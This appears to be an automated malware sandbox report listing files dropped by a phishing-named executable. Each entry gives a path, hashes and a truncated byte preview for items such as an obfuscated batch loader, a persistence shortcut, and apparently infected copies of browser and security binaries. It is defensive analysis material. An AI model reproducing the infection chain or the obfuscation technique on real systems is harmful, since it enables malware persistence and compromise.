Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L.......L... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.829761399189547
Encrypted:	false
SSDEEP:	49152:X8ErDqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgK8:sv2gM+qwXLg7pPgw/DSZ9CD527BWG
MD5:	A0C0F490D9E9EF2967964E83191BD024
SHA1:	BA8C489D24EB897A6112B411AD0AA7F49719001A
SHA-256:	A2AED593E6BD6A2E7986BDC47FCF131797F2E03BD3C9FA228D0A6652DF972509
SHA-512:	93D3A4038380C4B12C68C3D5C7583B579FF6F68AF137EB0BBA24320FB0E91E72D7AD4C5A23F54593FAB56C7593A4A8DA240B9F1BFE42527CD2F279487A0285B0
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.....DuK... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.8297644721829
Encrypted:	false
SSDEEP:	49152:i8ErDqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgK8:/v2gM+qwXLg7pPgw/DSZ9CD527BWG
MD5:	15EEAC18C48706C3F6E62028D9BC6838
SHA1:	DB17DF051CF261EE32F6D63A881F960EC2A5B555
SHA-256:	9B28F8546DA706BA487A2EDBA31683C46A0993952FA4FEF696230196A9961D75
SHA-512:	16D0FA117C04DEE2248C941A52DEA350B9550B9C08CC86BBCB37B48FCE670FA72BE88E5132B94E787C5777A41BC2FAC6FB8678774F8519197010DA8F03719774
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.953576455536211
Encrypted:	false
SSDEEP:	24576:ntjqL8fH+8aUbp8D/8+xQWAcsqjnhMgeiCl7G0nehbGZpbD:tjKK+81FI/85iDmg27RnWGj
MD5:	EE6C03C908B23E31DF257B97DCD60660
SHA1:	5323738E4D161D6C05378C58D1A0131FF21875EF
SHA-256:	6414FD7B2083F2D70BA9FC6CA405FCEF74430B623D828CACA9226CDB1F7838F3
SHA-512:	BA8B8FD86639F7B8AA6B5CCC2C47B2DEA3E78BD67EB9A56CE8D5C8E97F587063794C3F41127A9B0040E44DAFC9BD094BC0644B7ECD1366D5BA4136CBBE379127
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P".....`.!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.032375579812476
Encrypted:	false
SSDEEP:	49152:sAMsOu3JfCIGnZuTodRFYKBrFxbWp4Dmg27RnWGj:sAMa38ZuTS7D527BWG
MD5:	9C0AEE5B556B514D8FFE9DAF726DD2C7
SHA1:	31367F0DD58887C57032307F324E71D8D472591C
SHA-256:	C39C665284EFE46D4F33719A482AC207B7E9D9A5B9D80230EFBE70DED4DC1B43
SHA-512:	DC42DBB1603400987398A303F1412475790BC1DF3D77B8CD9222E59BB8044EAA358B3C512204B70DEBA1620FAAA767511DC8A07A2881AD28C5E0C984F8B61C1D
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%.....Z.$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.104324901146362
Encrypted:	false
SSDEEP:	24576:XwbK7tnhD4aH6wD2Krx5NgOOagtE8FUsqjnhMgeiCl7G0nehbGZpbD:XSK7Fhslq2EPfOfEpDmg27RnWGj
MD5:	7BDD695D51D5248ABAD94BCC5FDFD7C3
SHA1:	80F3DCF77D4B87F1FC5D6D8FC87F33FBDC9E56AB
SHA-256:	6743D58688653C0AE4E084E93B186EDBBD5E8290AFA1C4855906B0FD504BB588
SHA-512:	2C7321C1567F677B5BD2170B8A085154B4D01A1E17069BAF01B7895A9B4A200F99AD7F0736EA2F5F8DFBF1B16B0D3702D360267B7FEA49F511BAB0635666CE92
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@....................................o..... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.158054727593673
Encrypted:	false
SSDEEP:	24576:7KI7Twj5KDHxJ1FxyD+/wsG1TbbcUsqjnhMgeiCl7G0nehbGZpbD:7v7e0j31mD+/wDfbbDmg27RnWGj
MD5:	72CF331A76CD25E0F135A6FAF35FB25F
SHA1:	05EF0F9395E5D62BF55E29B9274824187F8B480E
SHA-256:	FB0624494835538D7FD5F719FEF2D68BDDFE902C3AA0A8A837694E783961274B
SHA-512:	C2382E020F549787F7EDA83CBD13DC909B4F99E093ECAA6355EA01AFEC8378FBBE7458C8E1111A2C499B621167533D13E8DB3D2EDECF7E2D0D0FD3559D573A1D
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@.......................................... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1378304
Entropy (8bit):	5.377418837432717
Encrypted:	false
SSDEEP:	12288:0QUVPDHhSTXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kw:PyhSTsqjnhMgeiCl7G0nehbGZpbD
MD5:	78A6612E4D07F32C9FEA6BA8D8061F25
SHA1:	EDDE46029E48AF1C84C02EF123F8F80BD214DE43
SHA-256:	BF176E1FCDC2A8C1915F79A7F302B9781266175B8BFACDA0CB34B538CE886E4E
SHA-512:	F6F0F99CC5EACBBAFA7774E92C674CE4DA51223F56F84B0804160C0E4E0DE373C95A2031904F9D85D1CC257DCCB1FFF41900D52B695103268BA4A6FC3D5B0A88
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@.............................p.......@.... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...P... ...@..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.22209984446946
Encrypted:	false
SSDEEP:	24576:qsFfc1VyFn5UQn652bO4HMsqjnhMgeiCl7G0nehbGZpbD:qsFcIn5rJSDmg27RnWGj
MD5:	0B59664A2C1E61586FE9DAAE6D4FDEAE
SHA1:	079A9E945AFE0E1CAE1A160982744FE72F6821D7
SHA-256:	15E7FBC759539CA7B1F44B4F0F4807DC07BBAD6914EF1D64B359875CF971AF46
SHA-512:	E0F70C8AF3D4428AA81BFCDA1C5A02ACB53C61C00E272F1AF9E68FEAF3D7832469042D38144ECE179AF88D40F7A73BDA40C10C15D9848CC2887377C9DC29B58F
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@.......................................... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.49426392990658
Encrypted:	false
SSDEEP:	24576:Ot9o6p4xQbiKI69wpemIwpel9XsqjnhMgeiCl7G0nehbGZpbD:Ot9faQbtl2peapel1Dmg27RnWGj
MD5:	EF735D7409066638675EAD964C8D29FA
SHA1:	5D224E431D3DA4B3402FD0074819FFC258801188
SHA-256:	4299591410BD2EE96B0D14C4131CAACA2AEBD138791EA41151FE8B24B47264BD
SHA-512:	6A7D16E12F41E6F556BE5B6409FF97136E14648F8E763D87A4D840360AA7BA42F2523A1A7F9AF0E8719BDC477839B2EEA162DC1153C63A2C648FFAD52229622D
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@....................................?..... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1356800
Entropy (8bit):	5.347825226792433
Encrypted:	false
SSDEEP:	24576:5QVTZu0JksqjnhMgeiCl7G0nehbGZpbD:aVTZuFDmg27RnWGj
MD5:	B43EC32DD8CD568FB3D85089F03263A6
SHA1:	C2281DA021340FB0A49FFBC3EF65D38F2CF9EFEB
SHA-256:	A571479AAB90AC7869236A0AB6F515231189564E66C286CFD03C78F94A8B99D2
SHA-512:	A3B3202CF1F1D0585DF96C8A35B6343E6B32024AFE2D51CBE913ACD7038007148CB0C7E0CB1FCBCA67523208546B5810DD2B0B5C1E50BDD68D747FF7FD529DA6
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................P.......,.... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...P.......@...t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.808351155277148
Encrypted:	false
SSDEEP:	24576:9C1vpgXcZHzOsqjnhMgeiCl7G0nehbGZpbD:9C1vpIcNiDmg27RnWGj
MD5:	D2A2575FDC296E3DA8C9EC7AA924F631
SHA1:	88DAC87B44D5A803D5C7D945092A792E953B7EB4
SHA-256:	4C549441400A2A2BA70571F988E129FDAFBE020AE6571B61E1471867B8A40CAB
SHA-512:	ADA89B4A8A35D294EFBEE3317BE114B1DCE21690BA6402D043F8C19E0CD6519458CA20CC973C0CE108ED8E732EAA1D463C5A0C08A5B4E7164EC0CD7069EC07B7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.......................................... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1200128
Entropy (8bit):	5.140016032789808
Encrypted:	false
SSDEEP:	12288:ZSwjCXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbEH:ZvCsqjnhMgeiCl7G0nehbGZpbD5
MD5:	43FF687714E777C54D975BC9F175FEF9
SHA1:	4A3F24F38DCF8D7BCE3F333BA0F040464C14E3D9
SHA-256:	065473E01751967E7FC5209FCBDD6C717DFE3C3A5276327F98E6CB1BEC5937C6
SHA-512:	AA9D60EDBEB39D2FEFEF78F9EBF2ABBC6DD7FB7C31F32DD2A4679858EE7E03E21B2800ED7DFB06EAD3C1CE222CAA350EB2D74BB2C4814E47D409B75E17B454B0
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@....................................2r.... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...P...p...@..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1408512
Entropy (8bit):	5.441144919459244
Encrypted:	false
SSDEEP:	24576:jWKntIfGpUsqjnhMgeiCl7G0nehbGZpbD:i8IeaDmg27RnWGj
MD5:	BBDC97A309A129DA4182999C14A90C75
SHA1:	6EAD545768E73CF6642DCC1AD724CF8D1DC3A938
SHA-256:	FDD52436B249350265F7E69E4FD7C417DA42229D09FE9A5F4B98835488F8DAE3
SHA-512:	89760705937416F5F8D6F6F771643C9649F0C93FC748230B10C6896957E22A98F7A4FF580CEF235EBED0896AE32C07CCE99A257D18CE39DC7163524D43A1A98D
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@.......................................... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...P.......@...>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1185280
Entropy (8bit):	5.1032885579945795
Encrypted:	false
SSDEEP:	12288:MIh2Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:t2sqjnhMgeiCl7G0nehbGZpbD
MD5:	AA76A44655063807CF957D067D5B5B0F
SHA1:	1F02757DDE0C9947CEDDF1927D76DE5135D85F4D
SHA-256:	6FAE25D6C4C7D3380D9445317ACB836C57C4F553E39827564460A8A3FAE74707
SHA-512:	7B5C017DF81B834CF0A9A99B4C0CD391A177A37290103C123B6840A4702CA4786F34571563E537EB5FDE3EF2461EC6C36C467A8692900B297E8224964931AC88
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@.......................................... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1531904
Entropy (8bit):	5.421190982297953
Encrypted:	false
SSDEEP:	24576:O8oREwt2ioQ3J+RHsqjnhMgeiCl7G0nehbGZpbD:O8oRpoFbDmg27RnWGj
MD5:	109D2003493F3C63ACECE31C542F5C24
SHA1:	0DD1735B67A4E0124AE33BA19CAFD203EC121258
SHA-256:	7022EAE681183AD1B57E944BC2099DFB15EFF16EE609907E3F39529D780618E2
SHA-512:	6AACE908D1DA8A471FB165E95DF51994EB155D4F3CC54E790C38A185800A9C73CADFA808A20B5F539809441E41DAA6E59E6944E0FD695B9AAA7C8653FE55C8C0
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@.......................................... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...P.......@... ..............@...........................................................................................................................................................................................................................

C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1341952
Entropy (8bit):	5.2385898329538865
Encrypted:	false
SSDEEP:	24576:ef8HQlDMxHwJ07wHsqjnhMgeiCl7G0nehbGZpbD:ekHQlqwJ0gDmg27RnWGj
MD5:	0412F310533E8FCC77646C26A9FD2211
SHA1:	D87B19BFBF099BBF5C150B2D86C5B62C191177CD
SHA-256:	FB7667BA079E96B82C0160B1AF306E5EA25265F772485A9860C4AEAB72EF6E19
SHA-512:	9ABA5593AA299D4413F689B112E6DD89A01726048890D407E4EB73A5C8B23CB177A2E32F04168B174AB5F51971B15F8713221D3EC0D76075330BF50B019C980B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x..............a.......r.......r...............r.......r.......r.......ry......r{......r......Rich....................PE..d...B{.?.........."............................@.....................................G.... .......... ......................................8b..........................................T.......................(...................@...(...pa..`....................text............................... ..`.rdata..............................@..@.data....&...........z..............@....pdata........... ..................@..@.didat.. ...........................@....rsrc...............................@..@.reloc...P.......@...:..............@...................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1534464
Entropy (8bit):	7.124578693722774
Encrypted:	false
SSDEEP:	24576:oSEmYD6gjGPG45QVDkfXplyTyEsqjnhMgeiCl7G0nehbGZpbD:o5mYD6g2GWQVQf3yTHDmg27RnWGj
MD5:	640EC5D89ACEB0A5B3115B09E3C3D84E
SHA1:	3F7A53211532E1B91C541961239C077F047BDF75
SHA-256:	B829D37C72262600C27C15F8070D44D8A495F57122A1E8AE97133FA8BBC7DE25
SHA-512:	2B49AA189D6A191F62818B4AE55282CF5102654E064FE0912203B5AB5409059D7F7EF9809B08291E1DCF4E955CB201D4132218C90E7F01520BFB3806C46A0870
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."x..f..Ef..Ef..EoaKEd..Err.De..Err.DB..Err.Dh..Err.D}..Ef..E...Err.D]..Err'Eg..Err.Dg..ERichf..E........................PE..d..."..m.........."..........4......@:.........@.......................................... .......... ..........................................,............`...N.................. ...T...........................p...................X...h...@....................text.............................. ..`.rdata...\.......^..................@..@.data....Y.......8..................@....pdata...N...`...P..................@..@.didat...............l..............@....rsrc................n..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Users\Public\Libraries\PNO

Download File

Process:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:sy:sy
MD5:	6FA15CB635D61101C5C1FD0D3DA7BCBE
SHA1:	3DD7E89969F62674BB4F1E1804D12F7984CA50CB
SHA-256:	A7A13D1B48050194EC1A629253456D89916E51DFC6A641096CC0D4F007BC6C9C
SHA-512:	929970595BA4B524C60F9275EBAC75F31978141ACE593AAD10BC4CEC527B22B22A1B1210340169DC2D040E2E5A1A2562C81C2DF6D1A5918224A499075A54248D
Malicious:	false
Reputation:	unknown
Preview:	98..

C:\Users\Public\Libraries\Sdvvfamy

Download File

Process:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
File Type:	data
Category:	dropped
Size (bytes):	1644384
Entropy (8bit):	7.201679795231161
Encrypted:	false
SSDEEP:	24576:x2ZbSbxvfLzOaLw2sBejF/LHHclwHXQyXIFBe+Z:xqSbxfOv2sexzHPpXIFBlZ
MD5:	60E35BCBEC840DBC57F6E96F07092037
SHA1:	FB4BADFCA8BA6EDE36D462A33455EAD2536C5EA5
SHA-256:	D3150ADC33A74030DE51CA0E850B5FB4465BE2A5BCFB023DD4CDD4196B258A49
SHA-512:	C685B9A169F6F034F40999BB11446522E05622FB50B86DC11A6992945C8EC31B9EDC20345897B247BB08118919F46B43F49C7518BA0115A7D8DA52C84A2229AC
Malicious:	false
Reputation:	unknown
Preview:	...Y#..K..%.&.......&""..'"....$.$..".%#..&#"$!... .....&.........."..'..$.#.........&&...%..!". .&......%.'...'..."$.&....Y#..K..##...&......Y#..K.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................e. ......O.L...+....,....,....f....<

C:\Users\Public\Libraries\ymafvvdS.cmd

Download File

Process:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Reputation:	unknown
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\Libraries\ymafvvdS.pif

Download File

Process:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Sdvvfamy.url

Download File

Process:	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.17500507473634
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMoPKaOsbxTRefAlv:HRYFVmTWDyz5xOExsolv
MD5:	7B16FB7DD80B4298C6D276AB24CFDBDC
SHA1:	53E7996E8B25BB22DF05A53F77B6B25042B4B4E1
SHA-256:	94204017ED604221DAF7742713C8E266B5F256C74DA6F1823A44FC66FD3732E6
SHA-512:	7C23CE95763FE85E2E763A32817849B0C907F0DD7493A74A7E3BC2003F6783E5B4F62FE4A719379C92A6D1A649BEEA58F616CB5DB9EAF91AE2EEE9DFEE91BF5E
Malicious:	true
Reputation:	unknown
